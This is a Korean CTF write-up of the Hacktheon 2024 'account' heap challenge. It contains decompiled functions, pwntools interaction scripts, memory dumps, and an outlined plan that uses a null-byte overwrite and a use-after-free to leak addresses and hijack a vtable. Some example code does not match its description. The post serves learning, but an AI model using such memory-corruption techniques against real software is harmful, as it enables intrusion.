콘텐츠로 건너뛰기

[핵테온 2024] account

요약

여러 디버깅하면서 시행착오를 겪은 글.

핵테온 초급 문제의 가장 난이도가 높은 문제가 어느정도인지 느낄 수 있었음. 스킬 획복하는데 상당한 노력 필요…! IDA Pro로 구조체 어케 생성하는지 연습하는데 좋은 기회.

해당 문제는 utf-8/utf-16 타입의 임의의 데이터와 함께 account 생성시킬 수 있음.

첫번째 버그는 그룹 생성후, utf-8 + account를 utf 16 타입으로 바꿔서 최대 크기의 문자열과 함께 수정해버리면 할당 바로 끝에 있는 group 구조체의 account_count를 0으로 덮어쓸 수 있음.

그러면, group에 account가 있더라도 delete_group 수행 가능.

버그로 아래 과정을 5번 수행했을때 make_group()add_account_to_group(group_index, b"\x01")modify_account_data(False, b"\x02", b"D"*8) “-> delete_group(b"\x00")

count를 계속 증가시켜 0xff 에서 더 증가시키면, 1번쨰 인덱스의 account의 count 필드를 다시 0부터 만들어줄 수 있다,

make_group() → add_account_to_group(group_index, b"\x01") 한 다음, delete_account_from_group(group_index, b"\x01") 를 통해 free.

group_index = make_group() 를 통해 use. 즉 두번째 버그는 use-after-free.

두번쨰 버그를 통해 heap_base 주소 누출, libc_base 주소 획득, vtable을 조작하여 원가젯으로 덮어써서 add_account_to_group 트리거시 원가젯 호출.

checksec

ubuntu@2d0f4d9a440c:~/hto2024/account$ checksec ./account
[*] '/home/ubuntu/hto2024/account/account'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled

Analysis

main

268바이트의 s 변수를 258만큼 0으로 초기화.

s 변수에 256만큼 입력받고, v3에 입력바이트 수가 들어감.

s 변수, 바이트수와 함께 sub_2900 호출.

unsigned __int64 sub_11D0()
{
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stderr, 0, 2, 0);
  return __readfsqword(0x28u);
}

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  unsigned int v3; // [rsp+Ch] [rbp-114h]
  _BYTE s[268]; // [rsp+10h] [rbp-110h] BYREF
  int v5; // [rsp+11Ch] [rbp-4h]

  v5 = 0;
  sub_11D0();
  while ( 1 )
  {
    memset(s, 0, 258u);
    v3 = read(0, s, 256u);
    sub_2900(s, v3);
  }
}

sub_2900

전송되는 바이트 메뉴에는 다음과 같음. 모든 메뉴는 함수 리턴값 “%c”로 출력.

  • \x00sub_1490
    • 매개변수 2개: a1[1], a1 + 2
  • \x01sub_1710
    • 매개변수 1개: a1[1]
  • \x02sub_1AE0
    • 매개변수 3개: a1[2], a1[1], a1 + 3
  • \x10sub_1D30
    • 매개변수 0개
  • \x11v12 = a1 + 1; v11 = qword_60D0[*v12]; v10 = (*(__int64 (__fastcall **)(_QWORD))(*(_QWORD *)(v11 + 16) + 8LL))(*v12);
  • \x12v9 = qword_60D0[(unsigned __int8)a1[1]]; v8 = (*(__int64 (__fastcall **)(_QWORD, _QWORD))(*(_QWORD *)(v9 + 16) + 16LL))( (unsigned __int8)a1[1], (unsigned __int8)a1[2]);
  • \x13v7 = qword_60D0[(unsigned __int8)a1[1]]; v6 = (*(__int64 (__fastcall **)(_QWORD, _QWORD))(*(_QWORD *)(v7 + 16) + 24LL))( (unsigned __int8)a1[1], (unsigned __int8)a1[2]);
  • \x14v4 = qword_60D0[*v5]; v3 = (*(__int64 (__fastcall **)(_QWORD))(*(_QWORD *)(v4 + 16) + 32LL))(*v5);
__int64 __fastcall sub_2900(_BYTE *a1, unsigned int a2)
{
  unsigned __int8 v3; // [rsp+1Fh] [rbp-B1h]
  __int64 v4; // [rsp+20h] [rbp-B0h]
  unsigned __int8 *v5; // [rsp+28h] [rbp-A8h]
  unsigned __int8 v6; // [rsp+37h] [rbp-99h]
  __int64 v7; // [rsp+38h] [rbp-98h]
  unsigned __int8 v8; // [rsp+4Fh] [rbp-81h]
  __int64 v9; // [rsp+50h] [rbp-80h]
  unsigned __int8 v10; // [rsp+67h] [rbp-69h]
  __int64 v11; // [rsp+68h] [rbp-68h]
  unsigned __int8 *v12; // [rsp+70h] [rbp-60h]
  unsigned __int8 v13; // [rsp+7Eh] [rbp-52h]
  unsigned __int8 v14; // [rsp+7Fh] [rbp-51h]
  unsigned __int8 v15; // [rsp+8Fh] [rbp-41h]
  unsigned __int8 v16; // [rsp+9Fh] [rbp-31h]
  unsigned int v17; // [rsp+C4h] [rbp-Ch]

  if ( a2 )
  {
    switch ( *a1 )
    {
      case 0:
        if ( a2 < 3 )
          goto LABEL_2;
        v16 = sub_1490(a1[1], a1 + 2);
        printf("%c", v16);
        v17 = v16;
        break;
      case 1:
        if ( a2 != 2 )
          goto LABEL_29;
        v15 = sub_1710(a1[1]);
        printf("%c", v15);
        v17 = v15;
        break;
      case 2:
        if ( a2 < 4 )
          goto LABEL_29;
        v14 = sub_1AE0(a1[2], a1[1], a1 + 3);
        printf("%c", v14);
        v17 = v14;
        break;
      case 0x10:
        v13 = sub_1D30();
        printf("%c", v13);
        v17 = v13;
        break;
      case 0x11:
        if ( a2 != 2 )
          goto LABEL_29;
        v12 = a1 + 1;
        if ( (unsigned __int8)a1[1] >= 16u )
          goto LABEL_32;
        v11 = qword_60D0[*v12];
        if ( !v11 )
          goto LABEL_32;
        v10 = (*(__int64 (__fastcall **)(_QWORD))(*(_QWORD *)(v11 + 16) + 8LL))(*v12);
        printf("%c", v10);
        v17 = v10;
        break;
      case 0x12:
        if ( a2 != 3 )
          goto LABEL_29;
        if ( (unsigned __int8)a1[1] >= 0x10u )
          goto LABEL_32;
        v9 = qword_60D0[(unsigned __int8)a1[1]];
        if ( !v9 )
          goto LABEL_32;
        v8 = (*(__int64 (__fastcall **)(_QWORD, _QWORD))(*(_QWORD *)(v9 + 16) + 16LL))(
               (unsigned __int8)a1[1],
               (unsigned __int8)a1[2]);
        printf("%c", v8);
        v17 = v8;
        break;
      case 0x13:
        if ( a2 != 3 )
          goto LABEL_29;
        if ( (unsigned __int8)a1[1] >= 0x10u )
          goto LABEL_32;
        v7 = qword_60D0[(unsigned __int8)a1[1]];
        if ( !v7 )
          goto LABEL_32;
        v6 = (*(__int64 (__fastcall **)(_QWORD, _QWORD))(*(_QWORD *)(v7 + 16) + 24LL))(
               (unsigned __int8)a1[1],
               (unsigned __int8)a1[2]);
        printf("%c", v6);
        v17 = v6;
        break;
      case 0x14:
        if ( a2 == 2 )
        {
          v5 = a1 + 1;
          if ( (unsigned __int8)a1[1] < 0x10u && (v4 = qword_60D0[*v5]) != 0 )
          {
            v3 = (*(__int64 (__fastcall **)(_QWORD))(*(_QWORD *)(v4 + 16) + 32LL))(*v5);
            printf("%c", v3);
            v17 = v3;
          }
          else
          {
LABEL_32:
            fprintf(stderr, "invalid group id\n");
            v17 = -1;
          }
        }
        else
        {
LABEL_29:
          fprintf(stderr, "invalid packet length\n");
          v17 = -1;
        }
        break;
      default:
        fprintf(stderr, "invalid call_number\n");
        v17 = -1;
        break;
    }
  }
  else
  {
LABEL_2:
    fprintf(stderr, "invalid length\n");
    return (unsigned int)-1;
  }
  return v17;
}

sub_1490 (make_account)

  • 매개변수 account_type은 2번째 바이트, data는 3번째 바이트부터 들어감
  • account_type 이 1이여야함, 아니면 "invalid account type” 에러
  • 최대 계정을 16개까지만 생성 가능.
__int64 __fastcall make_account(char account_type, char *data)
{
  signed __int64 v2; // rax
  void *v3; // rsp
  void *v4; // rsp
  signed __int64 v6; // [rsp+18h] [rbp-28h]
  int v7; // [rsp+20h] [rbp-20h]
  int v8; // [rsp+20h] [rbp-20h]
  int i; // [rsp+24h] [rbp-1Ch]

  for ( i = 0; ; ++i )
  {
    if ( i >= 16 )
    {
      fprintf(stderr, "no more account\n");
      return (unsigned __int8)-1;
    }
    if ( !account_id_array[i] )
      break;
  }
  if ( !account_type )
  {
    v8 = utf16_strlen(data);
    if ( !v8 )
      goto LABEL_7;
    v2 = (unsigned int)(2 * (v8 + 1));
    goto LABEL_12;
  }
  if ( account_type != 1 )
    goto LABEL_11;
  v7 = strlen(data);
  if ( !v7 )
  {
LABEL_7:
    fprintf(stderr, "invalid length\n");
    return (unsigned __int8)-1;
  }
  v2 = (unsigned int)(v7 + 1);
LABEL_12:
  v3 = alloca(v2);
  v6 = v2;
  v4 = alloca(v2);
  if ( v2 )
  {
    *(_BYTE *)v2 = account_type;
    *(_BYTE *)(v2 + 1) = 0;
    *(_QWORD *)(v2 + 8) = v2;
    if ( !account_type )
    {
      utf16_strcpy((_BYTE *)v2, data);
      goto LABEL_19;
    }
    if ( account_type == 1 )
    {
      strcpy((char *)v2, data);
LABEL_19:
      account_id_array[i] = v6;
      sub_12C0(i);
      return (unsigned __int8)i;
    }
LABEL_11:
    fprintf(stderr, "invalid account type\n");
    return (unsigned __int8)-1;
  }
  fprintf(stderr, "failed to allocate memory\n");
  return (unsigned __int8)-1;
}

예제 코드: A 16바이트 데이터와 함께 account 추가 생성

from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')

p = process("./account")
e = ELF('./account')

def make_account(data):
    _menu = b"\x00"
    _type = b"\x01"
    _data = data

    payload = _menu + _type + _data

    p.sendline(payload)
    return p.recv(1)

r = make_account(b"A"*16)
info(f"make_account r: {r}")

p.interactive()

예제 코드 결과:

sub_1710 (delete_account)

  • 2번째 바이트인 a1이 곧 account_id_array의 인덱스가 됨.
  • 삭제하려는 account가 사용중인 경우(still in use), 삭제 불가.
__int64 __fastcall delete_account(unsigned __int8 a1)
{
  __int64 v2; // [rsp+8h] [rbp-18h]

  if ( a1 < 0x10u && (v2 = account_id_array[a1]) != 0 )
  {
    if ( *(_BYTE *)(v2 + 1) == 1 )
    {
      if ( (unsigned __int8)sub_1390(a1) )
      {
        fprintf(stderr, "unexpected flow\n");
        return (unsigned int)-1;
      }
      else
      {
        account_id_array[a1] = 0;
        return 0;
      }
    }
    else
    {
      fprintf(stderr, "account is still in use\n");
      return (unsigned int)-1;
    }
  }
  else
  {
    fprintf(stderr, "invalid account id\n");
    return (unsigned int)-1;
  }
}

__int64 __fastcall sub_1390(unsigned __int8 a1)
{
  __int64 v2; // [rsp+8h] [rbp-18h]

  if ( a1 < 0x10u && (v2 = account_id_array[a1]) != 0 )
  {
    if ( !--*(_BYTE *)(v2 + 1) )
    {
      sub_2840(*(_QWORD *)(v2 + 8));
      sub_2840(v2);
    }
    return *(unsigned __int8 *)(v2 + 1);
  }
  else
  {
    fprintf(stderr, "invalid account id\n");
    return (unsigned __int8)-1;
  }
}

예제 코드:
1. A 16바이트 데이터와 함께 account 추가 생성 (0번째 인덱스 추가)
2. 0번째 인덱스에 추가된 account 삭제

from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')

p = process("./account")
e = ELF('./account')

def make_account(data):
    _menu = b"\x00"
    _type = b"\x01"
    _data = data

    payload = _menu + _type + _data

    p.sendline(payload)
    return p.recv(1)

r = make_account(b"A"*16)
info(f"make_account r: {r}")

p.interactive()

예제 코드 결과: account_id_array[0] = 0

MEMORY:00007FFFF7FFA000 dq 1 (0x101에서 1로 변동)

sub_1AE0 (modify_account_data)

  • 매개변수 3개: a1[2], a1[1], a1 + 3
  • make_account 했을때 0x7FFFF7FFA000 주소에 \x01\x01\x00\x00\x00\x00\x00\x00 값이 있어 첫바이트는 \x01,if ( *(_BYTE *)v5 != 1 ) 성립 X
  • v4 = strlen(*(const char **)(v5 + 8)) + 1; 수행하므로, is_utf8_type도 형식에 맞게 true 여야함.
  • 이전에 make_account 했을때의 길이보다 최대 +1까지 늘일 수 있음, 마지막 바이트는 \x00으로 덮어써짐
    ex: make_account 했을때 A 16개, modify_account_data했을때 B 17개 + \x00으로 수정 가능.
__int64 __fastcall modify_account_data(char is_utf8_type, unsigned __int8 account_index, char *data)
{
  unsigned int v4; // [rsp+Ch] [rbp-24h]
  __int64 v5; // [rsp+10h] [rbp-20h]

  if ( account_index < 0x10u )
  {
    v5 = account_id_array[account_index];
    if ( v5 )
    {
      if ( *(_BYTE *)v5 )
      {
        if ( *(_BYTE *)v5 != 1 )
        {
LABEL_8:
          fprintf(stderr, "unexpected\n");
          return (unsigned int)-1;
        }
        v4 = strlen(*(const char **)(v5 + 8)) + 1;
      }
      else
      {
        v4 = 2 * (utf16_strlen(*(_BYTE **)(v5 + 8)) + 1);
      }
      if ( !is_utf8_type )
      {
        if ( 2 * utf16_strlen(data) >= (unsigned __int64)v4 )
          goto LABEL_12;
        utf16_strcpy(*(_BYTE **)(v5 + 8), data);
        *(_BYTE *)v5 = 0;
        goto LABEL_17;
      }
      if ( is_utf8_type == 1 )
      {
        if ( strlen(data) >= v4 )
        {
LABEL_12:
          fprintf(stderr, "invalid length\n");
          return (unsigned int)-1;
        }
        strcpy(*(char **)(v5 + 8), data);
        *(_BYTE *)v5 = 1;
LABEL_17:
        sub_1860(v5);
        return 0;
      }
      goto LABEL_8;
    }
  }
  fprintf(stderr, "invalid account id\n");
  return (unsigned int)-1;
}

예제 코드:

from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')

p = process("./account")
e = ELF('./account')

def make_account(data):
    _menu = b"\x00"
    _type = b"\x01"
    _data = data
    payload = _menu + _type + _data

    p.sendline(payload)
    return p.recv(1)

def modify_account_Data(is_utf8_type, account_index, data):
    _menu = b"\x02"
    if(is_utf8_type):
        _is_utf8_type = b"\x01"
    else:
        _is_utf8_type = b"\x00"
    payload = _menu + account_index + _is_utf8_type + data
    
    p.send(payload)
    return p.recv()


_index = make_account(b"A"*16)
info(f"make_account _index: {_index}")

r = modify_account_Data(True, b"\x00", b"B"*16)
info(f"modify_account_Data ret: {r}")

p.interactive()

예제 코드 결과:

sub_1D30 (make_group)

  • 최대 그룹을 16개까지만 생성 가능.
__int64 sub_1D30()
{
  void *v0; // rsp
  void *v1; // rsp
  int i; // [rsp+10h] [rbp-10h]

  for ( i = 0; ; ++i )
  {
    if ( i >= 16 )
    {
      fprintf(stderr, "no more group\n");
      return (unsigned __int8)-1;
    }
    if ( !qword_60D0[i] )
      break;
  }
  v0 = alloca((signed __int64)qword_60D0);
  if ( qword_60D0
    && (LODWORD(qword_60D0[0]) = 0, v1 = alloca((signed __int64)qword_60D0), (qword_60D0[1] = qword_60D0) != 0) )
  {
    memset((void *)qword_60D0[1], 0, 0x80u);
    qword_60D0[2] = &off_6010;
    qword_60D0[i] = qword_60D0;
    return (unsigned __int8)i;
  }
  else
  {
    fprintf(stderr, "failed to allocate memory\n");
    return (unsigned __int8)-1;
  }
}

예제 코드:

from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')

p = process("./account")
e = ELF('./account')

def make_group():
    _menu = b"\x10"
    
    p.send(_menu)
    return p.recv(1)

_index = make_group()
info(f"make_group _index: {_index}")

p.interactive()

예제 코드 결과:

delete_group (sub_1EA0)

  • v10 = ((__int64 (__fastcall **)(_QWORD))((_QWORD *)(v11 + 16) + 8LL))(*v12);
__int64 __fastcall delete_group(unsigned __int8 group_index)
{
  group *v2; // [rsp+8h] [rbp-18h]

  if ( group_index < 0x10u && (v2 = (group *)group_array[group_index]) != 0 )
  {
    if ( *(_DWORD *)v2->gap0 )
    {
      fprintf(stderr, "group is not empty\n");
      return (unsigned int)-1;
    }
    else
    {
      sub_2840((__int64)v2->group_data);
      sub_2840((__int64)v2);
      group_array[group_index] = 0;
      return 0;
    }
  }
  else
  {
    fprintf(stderr, "invalid group id\n");
    return (unsigned int)-1;
  }
}

__int64 __fastcall sub_2840(__int64 a1)
{
  __int64 i; // [rsp+10h] [rbp-20h]

  for ( i = *(_QWORD *)(qword_6150 + 16); i; i = *(_QWORD *)(i + 16) )
  {
    if ( *(_QWORD *)(i + 8) == a1 )
    {
      *(_BYTE *)i = 2;
      return 0;
    }
  }
  fprintf(stderr, "invalid ptr\n");
  return (unsigned int)-1;
}

예제 코드:

from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')

p = process("./account")
e = ELF('./account')

def make_group():
    _menu = b"\x10"
    
    p.send(_menu)
    return p.recv(1)

def delete_group(group_index):
    _menu = b"\x11"

    p.send(_menu + group_index)
    return p.recv(1)

_index = make_group()
info(f"make_group _index: {_index}")

_index = delete_group(_index)
info(f"delete_group _index: {_index}")

예제 코드 결과:

add_account_to_group (sub_1FC0)

__int64 __fastcall add_account_to_group(unsigned __int8 group_index, unsigned __int8 account_index)
{
  int j; // [rsp+8h] [rbp-28h]
  int i; // [rsp+Ch] [rbp-24h]
  __int64 v5; // [rsp+10h] [rbp-20h]
  group *v6; // [rsp+18h] [rbp-18h]

  if ( group_index >= 0x10u )
    goto LABEL_2;
  if ( account_index >= 0x10u )
    goto LABEL_4;
  v6 = (group *)group_array[group_index];
  if ( !v6 )
  {
LABEL_2:
    fprintf(stderr, "invalid group id\n");
    return (unsigned __int8)-1;
  }
  if ( *(_DWORD *)v6->gap0 >= 0x10u )
  {
    fprintf(stderr, "group is full\n");
    return (unsigned __int8)-1;
  }
  v5 = account_id_array[account_index];
  if ( !v5 )
  {
LABEL_4:
    fprintf(stderr, "invalid account id\n");
    return (unsigned __int8)-1;
  }
  for ( i = 0; i < 16; ++i )
  {
    if ( *((_QWORD *)v6->group_data + i) == v5 )
    {
      fprintf(stderr, "account is already in the group\n");
      return (unsigned __int8)-1;
    }
  }
  for ( j = 0; j < 16; ++j )
  {
    if ( !*((_QWORD *)v6->group_data + j) )
    {
      *((_QWORD *)v6->group_data + j) = v5;
      ++*(_DWORD *)v6->gap0;
      sub_12C0(account_index);
      return 0;
    }
  }
  return 0;
}

__int64 __fastcall sub_12C0(unsigned __int8 account_index)
{
  __int64 v2; // [rsp+8h] [rbp-18h]

  if ( account_index < 0x10u && (v2 = account_id_array[account_index]) != 0 )
  {
    return (unsigned __int8)++*(_BYTE *)(v2 + 1);
  }
  else
  {
    fprintf(stderr, "invalid account id\n");
    return (unsigned __int8)-1;
  }
}
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')

p = process("./account")
e = ELF('./account')

def make_account(data):
    _menu = b"\x00"
    _type = b"\x01"
    _data = data
    payload = _menu + _type + _data

    p.sendline(payload)
    return p.recv(1)

def make_group():
    _menu = b"\x10"
    
    p.send(_menu)
    return p.recv(1)

def add_account_to_group(group_index, account_index):
    _menu = b"\x12"
    
    p.send(_menu + group_index + account_index)
    return p.recv(1)

account_index = make_account(b"A"*16)
info(f"make_account _index: {account_index}")

group_index = make_group()
info(f"make_group _index: {group_index}")

r = add_account_to_group(account_index, group_index)
info(f"add_account_to_group r: {r}")

account_id_array[0], 00007FFFF7FFA000 + 0x1 바이트가 1 → 2로 변경

group_array[0], 00007FFFF7FFA02A + 0x0 바이트가 0 → 1로 변경

delete_account_from_group (sub_21F0)

__int64 __fastcall delete_account_from_group(unsigned __int8 group_index, unsigned __int8 account_index)
{
  int i; // [rsp+Ch] [rbp-24h]
  __int64 account_id; // [rsp+10h] [rbp-20h]
  group *v5; // [rsp+18h] [rbp-18h]

  if ( group_index >= 0x10u )
    goto LABEL_2;
  if ( account_index >= 0x10u )
    goto LABEL_4;
  v5 = (group *)group_array[group_index];
  if ( !v5 )
  {
LABEL_2:
    fprintf(stderr, "invalid group id\n");
    return (unsigned __int8)-1;
  }
  if ( !v5->account_count )
  {
    fprintf(stderr, "group is empty\n");
    return (unsigned __int8)-1;
  }
  account_id = account_id_array[account_index];
  if ( !account_id )
  {
LABEL_4:
    fprintf(stderr, "invalid account id\n");
    return (unsigned __int8)-1;
  }
  for ( i = 0; i < 16; ++i )
  {
    if ( *((_QWORD *)v5->group_data + i) == account_id )
    {
      *((_QWORD *)v5->group_data + i) = 0;
      --v5->account_count;
      sub_1390(account_index);
      return 0;
    }
  }
  fprintf(stderr, "account is not in the group\n");
  return (unsigned __int8)-1;
}

__int64 __fastcall sub_1390(unsigned __int8 a1)
{
  __int64 v2; // [rsp+8h] [rbp-18h]

  if ( a1 < 0x10u && (v2 = account_id_array[a1]) != 0 )
  {
    if ( !--*(_BYTE *)(v2 + 1) )
    {
      sub_2840(*(_QWORD *)(v2 + 8));
      sub_2840(v2);
    }
    return *(unsigned __int8 *)(v2 + 1);
  }
  else
  {
    fprintf(stderr, "invalid account id\n");
    return (unsigned __int8)-1;
  }
}

__int64 __fastcall sub_2840(__int64 a1)
{
  __int64 i; // [rsp+10h] [rbp-20h]

  for ( i = *(_QWORD *)(qword_6150 + 16); i; i = *(_QWORD *)(i + 16) )
  {
    if ( *(_QWORD *)(i + 8) == a1 )
    {
      *(_BYTE *)i = 2;
      return 0;
    }
  }
  fprintf(stderr, "invalid ptr\n");
  return (unsigned int)-1;
}
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')

p = process("./account")
e = ELF('./account')

def make_account(data):
    _menu = b"\x00"
    _type = b"\x01"
    _data = data
    payload = _menu + _type + _data

    p.sendline(payload)
    return p.recv(1)

def make_group():
    _menu = b"\x10"
    
    p.send(_menu)
    return p.recv(1)

def add_account_to_group(group_index, account_index):
    _menu = b"\x12"
    
    p.send(_menu + group_index + account_index)
    return p.recv(1)

def delete_account_from_group(group_index, account_index):
    _menu = b"\x13"

    p.send(_menu + group_index + account_index)
    return p.recv(1)

account_index = make_account(b"A"*16)
info(f"make_account _index: {account_index}")

group_index = make_group()
info(f"make_group _index: {group_index}")

r = add_account_to_group(account_index, group_index)
info(f"add_account_to_group r: {r}")

r = delete_account_from_group(account_index, group_index)
info(f"delete_account_from_group r: {r}")

p.interactive()

00007FFFF7FFA000 + 0x1 바이트가 2 → 1로 변경

00007FFFF7FFA02A + 0x0 바이트가 1 → 0으로 변경

list_group (sub_23E0)

  • b”\x14”
  • make_accountmake_groupadd_account_to_grouplist_group
    • account_data 출력.
    • 성공시 0, 실패시 -1 리턴.
__int64 __fastcall list_group(unsigned __int8 group_index)
{
  int i; // [rsp+4h] [rbp-1Ch]
  group *v3; // [rsp+8h] [rbp-18h]

  if ( group_index < 0x10u && (v3 = (group *)group_array[group_index]) != 0 )
  {
    if ( v3->account_count )
    {
      for ( i = 0; i < 16; ++i )
      {
        if ( *((_QWORD *)v3->group_data + i) )
          sub_1860(*((_QWORD *)v3->group_data + i));
      }
      return 0;
    }
    else
    {
      fprintf(stderr, "group is empty\n");
      return (unsigned int)-1;
    }
  }
  else
  {
    fprintf(stderr, "invalid group id\n");
    return (unsigned int)-1;
  }
}

__int64 __fastcall sub_1860(__int64 a1)
{
  bool v2; // [rsp+Bh] [rbp-25h]
  int j; // [rsp+10h] [rbp-20h]
  int i; // [rsp+14h] [rbp-1Ch]

  if ( a1 )
  {
    if ( *(_BYTE *)a1 )
    {
      if ( *(_BYTE *)a1 != 1 )
      {
        fprintf(stderr, "unexpected\n");
        return (unsigned int)-1;
      }
      for ( i = 0; *(_BYTE *)(*(_QWORD *)(a1 + 8) + i); ++i )
        printf("%c", (unsigned int)*(char *)(*(_QWORD *)(a1 + 8) + i));
    }
    else
    {
      for ( j = 0; ; j += 2 )
      {
        v2 = 1;
        if ( !*(_BYTE *)(*(_QWORD *)(a1 + 8) + j) )
          v2 = *(_BYTE *)(*(_QWORD *)(a1 + 8) + j + 1) != 0;
        if ( !v2 )
          break;
        printf(
          "%c%c",
          (unsigned int)*(char *)(*(_QWORD *)(a1 + 8) + j),
          (unsigned int)*(char *)(*(_QWORD *)(a1 + 8) + j + 1));
      }
    }
    return 0;
  }
  fprintf(stderr, "invalid account id\n");
  return (unsigned int)-1;
}
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')

p = process("./account")
e = ELF('./account')

def make_account(data):
    _menu = b"\x00"
    _type = b"\x01"
    _data = data
    payload = _menu + _type + _data

    p.sendline(payload)
    return p.recv(1)

def delete_account(index):
    _menu = b"\x01"
    _index = index
    payload = _menu + _index

    p.send(payload)
    return p.recv(1)

def make_group():
    _menu = b"\x10"
    
    p.send(_menu)
    return p.recv(1)

def add_account_to_group(group_index, account_index):
    _menu = b"\x12"
    
    p.send(_menu + group_index + account_index)
    return p.recv(1)

def list_group(group_index):
    p.send(b"\x14" + group_index)
    return p.recv()

account_index = make_account(b"A"*16)
info(f"make_account _index: {account_index}")

group_index = make_group()
info(f"make_group _index: {group_index}")

r = add_account_to_group(account_index, group_index)
info(f"add_account_to_group r: {r}")

r = list_group(group_index)
info(f"list_group r: {r}")

r = delete_account_from_group(account_index, group_index)
info(f"delete_account_from_group r: {r}")

r = list_group(group_index)
info(f"list_group r: {r}")

p.interactive()
[DEBUG] Sent 0x13 bytes:
    00000000  00 01 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │··AA│AAAA│AAAA│AAAA│
    00000010  41 41 0a                                            │AA·│
    00000013
[DEBUG] Received 0x1 bytes:
    b'\x00'
[*] make_account _index: b'\x00'
[DEBUG] Sent 0x1 bytes:
    b'\x10'
[DEBUG] Received 0x1 bytes:
    b'\x00'
[*] make_group _index: b'\x00'
[DEBUG] Sent 0x3 bytes:
    00000000  12 00 00                                            │···│
    00000003
[DEBUG] Received 0x1 bytes:
    b'\x00'
[*] add_account_to_group r: b'\x00'
[DEBUG] Sent 0x2 bytes:
    00000000  14 00                                               │··│
    00000002
[DEBUG] Received 0x12 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    00000010  0a 00                                               │··│
    00000012

Solution

1. 먼저 16바이트 데이터와 함계 계정을 3번 생성

Code:

from pwn import *
# context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')

p = process("./account")
e = ELF('./account', checksec=False)

def make_account(data):
    _menu = b"\x00"
    _type = b"\x01"
    _data = data
    payload = _menu + _type + _data

    p.sendline(payload)
    return p.recv(1)

def delete_account(index):
    _menu = b"\x01"
    _index = index
    payload = _menu + _index

    p.send(payload)
    return p.recv(1)

def modify_account_Data(is_utf8_type, account_index, data):
    _menu = b"\x02"
    if(is_utf8_type):
        _is_utf8_type = b"\x01"
    else:
        _is_utf8_type = b"\x00"
    payload = _menu + account_index + _is_utf8_type + data
    
    p.send(payload)
    r = p.recv(len(data))
    info(f"modify_account_Data r: {r}")
    return p.recv()

def make_group():
    _menu = b"\x10"
    
    p.send(_menu)
    return p.recv(1)

def delete_group(group_index):
    _menu = b"\x11"

    p.send(_menu + group_index)
    return p.recv(1)

def add_account_to_group(group_index, account_index):
    _menu = b"\x12"
    
    p.send(_menu + group_index + account_index)
    return p.recv(1)

def delete_account_from_group(group_index, account_index):
    _menu = b"\x13"

    p.send(_menu + group_index + account_index)
    return p.recv(1)

def list_group(group_index):
    p.send(b"\x14" + group_index)
    return p.recv()

account_index = make_account(b"A"*16)
info(f"make_account _index: {account_index}")

account_index = make_account(b"B"*16)
info(f"make_account _index: {account_index}")

account_index = make_account(b"C"*16)
info(f"make_account _index: {account_index}")



p.interactive()

Result:

ubuntu@2d0f4d9a440c:~/hto2024/account$ python3 solve.py 
[+] Starting local process './account': pid 815
[*] make_account _index: b'\x00'
[*] make_account _index: b'\x01'
[*] make_account _index: b'\x02'
[*] Switching to interactive mode

account_id_array에 3개의 account_id 존재.

7FFFF7FFA000, 7FFFF7FFA02A, 7FFFF7FFA054

account_id 내용들

MEMORY:00007FFFF7FFA000 dq offset unk_101
MEMORY:00007FFFF7FFA008 dq offset off_7FFFF7FFA018
MEMORY:00007FFFF7FFA010 dq 0
MEMORY:00007FFFF7FFA018 off_7FFFF7FFA018 dq offset unk_4141414141414141
MEMORY:00007FFFF7FFA018                                         ; DATA XREF: MEMORY:00007FFFF7FFA008↑o
MEMORY:00007FFFF7FFA020 dq offset unk_4141414141414141
MEMORY:00007FFFF7FFA028 db  0Ah
MEMORY:00007FFFF7FFA029 db    0
MEMORY:00007FFFF7FFA02A dq offset unk_101
MEMORY:00007FFFF7FFA032 dq offset off_7FFFF7FFA042
MEMORY:00007FFFF7FFA03A dq 0
MEMORY:00007FFFF7FFA042 off_7FFFF7FFA042 dq offset unk_4242424242424242
MEMORY:00007FFFF7FFA042                                         ; DATA XREF: MEMORY:00007FFFF7FFA032↑o
MEMORY:00007FFFF7FFA04A dq offset unk_4242424242424242
MEMORY:00007FFFF7FFA052 db  0Ah
MEMORY:00007FFFF7FFA053 db    0
MEMORY:00007FFFF7FFA054 dq offset unk_101
MEMORY:00007FFFF7FFA05C dq offset off_7FFFF7FFA06C
MEMORY:00007FFFF7FFA064 dq 0
MEMORY:00007FFFF7FFA06C off_7FFFF7FFA06C dq offset unk_4343434343434343
MEMORY:00007FFFF7FFA06C                                         ; DATA XREF: MEMORY:00007FFFF7FFA05C↑o
MEMORY:00007FFFF7FFA074 dq offset unk_4343434343434343
MEMORY:00007FFFF7FFA07C db  0Ah
MEMORY:00007FFFF7FFA07D db    0

delete_group 의 경우: _group->account_count == 0일때,
delete_account의 경우: _account->count == 0 일때,
delete_account_from_group의 경우: _account->count == 0일때,
free 됨.

끝에 \x00 1바이트 덮는 버그 활용하여 group의 account_count를 0으로 만들기

계정 3개 만들고, 그룹 1개 만들고, 2번째 계정을 그룹에 넣을 경우:

MEMORY:00007FFFF7FFA000 db 1
MEMORY:00007FFFF7FFA001 db 1
MEMORY:00007FFFF7FFA002 db    0
MEMORY:00007FFFF7FFA003 db    0
MEMORY:00007FFFF7FFA004 db    0
MEMORY:00007FFFF7FFA005 db    0
MEMORY:00007FFFF7FFA006 db    0
MEMORY:00007FFFF7FFA007 db    0
MEMORY:00007FFFF7FFA008 dq offset off_7FFFF7FFA018
MEMORY:00007FFFF7FFA010 dq 0
